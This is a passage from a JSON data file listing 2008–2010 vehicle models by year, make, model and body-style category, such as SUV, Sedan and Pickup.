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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Convertible, Sedan"
},
{
"Year": 2010,
"Make": "Lexus",
"Model": "SC",
"Category": "Convertible"
},
{
"Year": 2010,
"Make": "Lincoln",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Kia",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lotus",
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"Category": "Coupe"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lincoln",
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},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Lincoln",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "Coupe"
},
{
"Year": 2010,
"Make": "Lotus",
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"Category": "Coupe"
},
{
"Year": 2010,
"Make": "Maserati",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "MAZDA",
"Model": "RX-8",
"Category": "Coupe"
},
{
"Year": 2010,
"Make": "Lotus",
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},
{
"Year": 2010,
"Make": "Maserati",
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},
{
"Year": 2010,
"Make": "MAZDA",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2010,
"Make": "Maybach",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "MAZDA",
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"Category": "SUV"
},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "Maybach",
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},
{
"Year": 2010,
"Make": "MAZDA",
"Model": "MAZDA5",
"Category": "Van/Minivan"
},
{
"Year": 2010,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2010,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Mitsubishi",
"Model": "Endeavor",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Mitsubishi",
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},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "Convertible"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Mitsubishi",
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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},
{
"Year": 2010,
"Make": "MINI",
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"Category": "Convertible"
},
{
"Year": 2010,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Nissan",
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},
{
"Year": 2010,
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"Category": "Coupe"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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"Category": "SUV"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "Porsche",
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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"Category": "SUV"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "smart",
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},
{
"Year": 2010,
"Make": "Suzuki",
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},
{
"Year": 2010,
"Make": "Subaru",
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},
{
"Year": 2010,
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Volkswagen",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
"Model": "FJ Cruiser",
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},
{
"Year": 2010,
"Make": "Suzuki",
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},
{
"Year": 2010,
"Make": "Subaru",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Subaru",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Volkswagen",
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},
{
"Year": 2010,
"Make": "Toyota",
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},
{
"Year": 2010,
"Make": "Volkswagen",
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"Category": "Convertible"
},
{
"Year": 2010,
"Make": "Volkswagen",
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"Category": "Sedan, Wagon"
},
{
"Year": 2010,
"Make": "Toyota",
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"Category": "Pickup"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Tacoma Access Cab",
"Category": "Pickup"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Venza",
"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Sequoia",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Yaris",
"Category": "Sedan, Hatchback"
},
{
"Year": 2010,
"Make": "Suzuki",
"Model": "Kizashi",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Tundra Regular Cab",
"Category": "Pickup"
},
{
"Year": 2010,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 2010,
"Make": "Volkswagen",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Volkswagen",
"Model": "Routan",
"Category": "Van/Minivan"
},
{
"Year": 2010,
"Make": "Volvo",
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"Category": "Hatchback"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "C70",
"Category": "Convertible"
},
{
"Year": 2010,
"Make": "Volvo",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Volkswagen",
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"Category": "Hatchback"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "XC60",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "S80",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "XC70",
"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Volkswagen",
"Model": "Jetta",
"Category": "Sedan, Wagon"
},
{
"Year": 2010,
"Make": "Volkswagen",
"Model": "Tiguan",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Volvo",
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"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "V50",
"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Volkswagen",
"Model": "Touareg",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Acura",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Volvo",
"Model": "XC90",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "<NAME>",
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"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "Acura",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Audi",
"Model": "A4",
"Category": "Convertible, Wagon, Sedan"
},
{
"Year": 2009,
"Make": "Acura",
"Model": "RDX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Wagon"
},
{
"Year": 2009,
"Make": "Acura",
"Model": "MDX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Audi",
"Model": "R8",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "<NAME>",
"Model": "Vantage",
"Category": "Convertible, Coupe"
},
{
"Year": 2009,
"Make": "Audi",
"Model": "S4",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "Acura",
"Model": "TL",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Audi",
"Model": "Q7",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "<NAME>",
"Model": "DBS",
"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Sedan, Wagon"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Bentley",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Bentley",
"Model": "Brooklands",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Audi",
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"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Sedan, Wagon"
},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Sedan, Convertible, Coupe, Wagon"
},
{
"Year": 2009,
"Make": "BMW",
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},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "Bentley",
"Model": "Azure",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Bentley",
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"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 2009,
"Make": "BMW",
"Model": "6 Series",
"Category": "Convertible, Coupe"
},
{
"Year": 2009,
"Make": "BMW",
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"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "Buick",
"Model": "LaCrosse",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "BMW",
"Model": "X6",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Cadillac",
"Model": "Escalade EXT",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Cobalt",
"Category": "Sedan, Coupe"
},
{
"Year": 2009,
"Make": "Cadillac",
"Model": "CTS",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "BMW",
"Model": "X3",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Cadillac",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Cadillac",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "BMW",
"Model": "Z4",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "Buick",
"Model": "Enclave",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Aveo",
"Category": "Sedan, Hatchback"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Express 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "BMW",
"Model": "X5",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Cadillac",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Cadillac",
"Model": "XLR",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "Cadillac",
"Model": "SRX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Buick",
"Model": "Lucerne",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Avalanche",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Coupe, Convertible"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "HHR",
"Category": "Wagon"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Express 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Colorado Extended Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Colorado Crew Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Colorado Regular Cab",
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},
{
"Year": 2009,
"Make": "Cadillac",
"Model": "STS",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Express 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Equinox",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Express 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Silverado 1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Silverado 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
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},
{
"Year": 2009,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Malibu",
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},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "TrailBlazer",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chrysler",
"Model": "300",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Impala",
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},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Silverado 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chrysler",
"Model": "Sebring",
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},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
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},
{
"Year": 2009,
"Make": "Chrysler",
"Model": "PT Cruiser",
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},
{
"Year": 2009,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Chevrolet",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Dodge",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Dodge",
"Model": "Avenger",
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},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Dodge",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Dodge",
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},
{
"Year": 2009,
"Make": "Chrysler",
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},
{
"Year": 2009,
"Make": "Dodge",
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},
{
"Year": 2009,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Dodge",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Ford",
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},
{
"Year": 2009,
"Make": "Ferrari",
"Model": "430 Scuderia",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Ferrari",
"Model": "599 GTB Fiorano",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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"Model": "Caliber",
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},
{
"Year": 2009,
"Make": "Ferrari",
"Model": "California",
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},
{
"Year": 2009,
"Make": "Dodge",
"Model": "Nitro",
"Category": "SUV"
},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Ford",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Ford",
"Model": "Escape",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Ford",
"Model": "Expedition EL",
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},
{
"Year": 2009,
"Make": "Ford",
"Model": "Expedition",
"Category": "SUV"
},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Ford",
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},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
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},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
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},
{
"Year": 2009,
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"Category": "Pickup"
},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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"Model": "Mustang",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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"Category": "SUV"
},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Honda",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "GMC",
"Model": "Yukon XL 2500",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Honda",
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},
{
"Year": 2009,
"Make": "Hyundai",
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},
{
"Year": 2009,
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},
{
"Year": 2009,
"Make": "Honda",
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},
{
"Year": 2009,
"Make": "HUMMER",
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"Category": "Pickup"
},
{
"Year": 2009,
"Make": "Hyundai",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Hyundai",
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},
{
"Year": 2009,
"Make": "Hyundai",
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},
{
"Year": 2009,
"Make": "HUMMER",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Honda",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "INFINITI",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Hyundai",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2009,
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"Category": "Convertible, Coupe"
},
{
"Year": 2009,
"Make": "HUMMER",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
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},
{
"Year": 2009,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2009,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Jeep",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Jeep",
"Model": "Liberty",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Rondo",
"Category": "Wagon"
},
{
"Year": 2009,
"Make": "INFINITI",
"Model": "FX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2009,
"Make": "Jeep",
"Model": "Commander",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Hyundai",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Jaguar",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "INFINITI",
"Model": "EX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Borrego",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Jaguar",
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"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2009,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lamborghini",
"Model": "Gallardo",
"Category": "Convertible, Coupe"
},
{
"Year": 2009,
"Make": "Lamborghini",
"Model": "Murcielago",
"Category": "Convertible, Coupe"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "IS F",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Spectra",
"Category": "Sedan, Hatchback"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Land Rover",
"Model": "LR3",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "MKX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "SC",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "MKS",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "MKZ",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "CX-9",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "CX-7",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lotus",
"Model": "Elise",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Maybach",
"Model": "57",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "Lotus",
"Model": "Exige",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2009,
"Make": "Maserati",
"Model": "GranTurismo",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Maybach",
"Model": "62",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Maserati",
"Model": "Quattroporte",
"Category": "Sedan"
},
{
"Year": 2009,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 2009,
"Make": "MAZDA",
"Model": "RX-8",
"Category": "Coupe"
},
{
"Year": 2009,
"Make": "Mercedes-Benz",
"Model": "CLK-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2009,
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{
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{
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{
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{
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{
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"Year": 2008,
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"Year": 2008,
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{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "300",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "TrailBlazer",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "Aspen",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "Pacifica",
"Category": "Wagon"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Chevrolet",
"Model": "Uplander Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "Crossfire",
"Category": "Coupe, Convertible"
},
{
"Year": 2008,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Caliber",
"Category": "Wagon"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Avenger",
"Category": "Sedan"
},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "Sebring",
"Category": "Sedan, Convertible"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Challenger",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Ram 1500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Grand Caravan Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Nitro",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Ram 2500 Mega Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Dakota Crew Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
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},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Sprinter 2500 Passenger",
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},
{
"Year": 2008,
"Make": "Dodge",
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},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "PT Cruiser",
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},
{
"Year": 2008,
"Make": "Chrysler",
"Model": "Town & Country",
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},
{
"Year": 2008,
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"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Dodge",
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},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Magnum",
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},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Ram 2500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
"Model": "Ram 1500 Mega Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Dodge",
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},
{
"Year": 2008,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Ferrari",
"Model": "612 Scaglietti",
"Category": "Coupe"
},
{
"Year": 2008,
"Make": "Dodge",
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"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Ferrari",
"Model": "F430",
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},
{
"Year": 2008,
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"Category": "Van/Minivan"
},
{
"Year": 2008,
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"Model": "Ram 3500 Mega Cab",
"Category": "Pickup"
},
{
"Year": 2008,
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},
{
"Year": 2008,
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"Model": "Viper",
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},
{
"Year": 2008,
"Make": "Ferrari",
"Model": "599 GTB Fiorano",
"Category": "Coupe"
},
{
"Year": 2008,
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"Model": "430 Scuderia",
"Category": "Coupe"
},
{
"Year": 2008,
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"Model": "Crown Victoria",
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},
{
"Year": 2008,
"Make": "Ford",
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"Category": "Van/Minivan"
},
{
"Year": 2008,
"Make": "Ford",
"Model": "Expedition",
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},
{
"Year": 2008,
"Make": "Ford",
"Model": "Explorer Sport Trac",
"Category": "SUV"
},
{
"Year": 2008,
"Make": "Ford",
"Model": "Escape",
"Category": "SUV"
},
{
"Year": 2008,
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"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Ford",
"Model": "F150 SuperCrew Cab",
"Category": "Pickup"
},
{
"Year": 2008,
"Make": "Ford",
"Model": "Mustang",
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},
{
"Year": 2008,
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"Category": "SUV"
},
{
"Year": 2008,
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},
{
"Year": 2008,
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},
{
"Year": 2008,
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"Model": "E350 Super Duty Passenger",
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},
{
"Year": 2008,
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},
{
"Year": 2008,
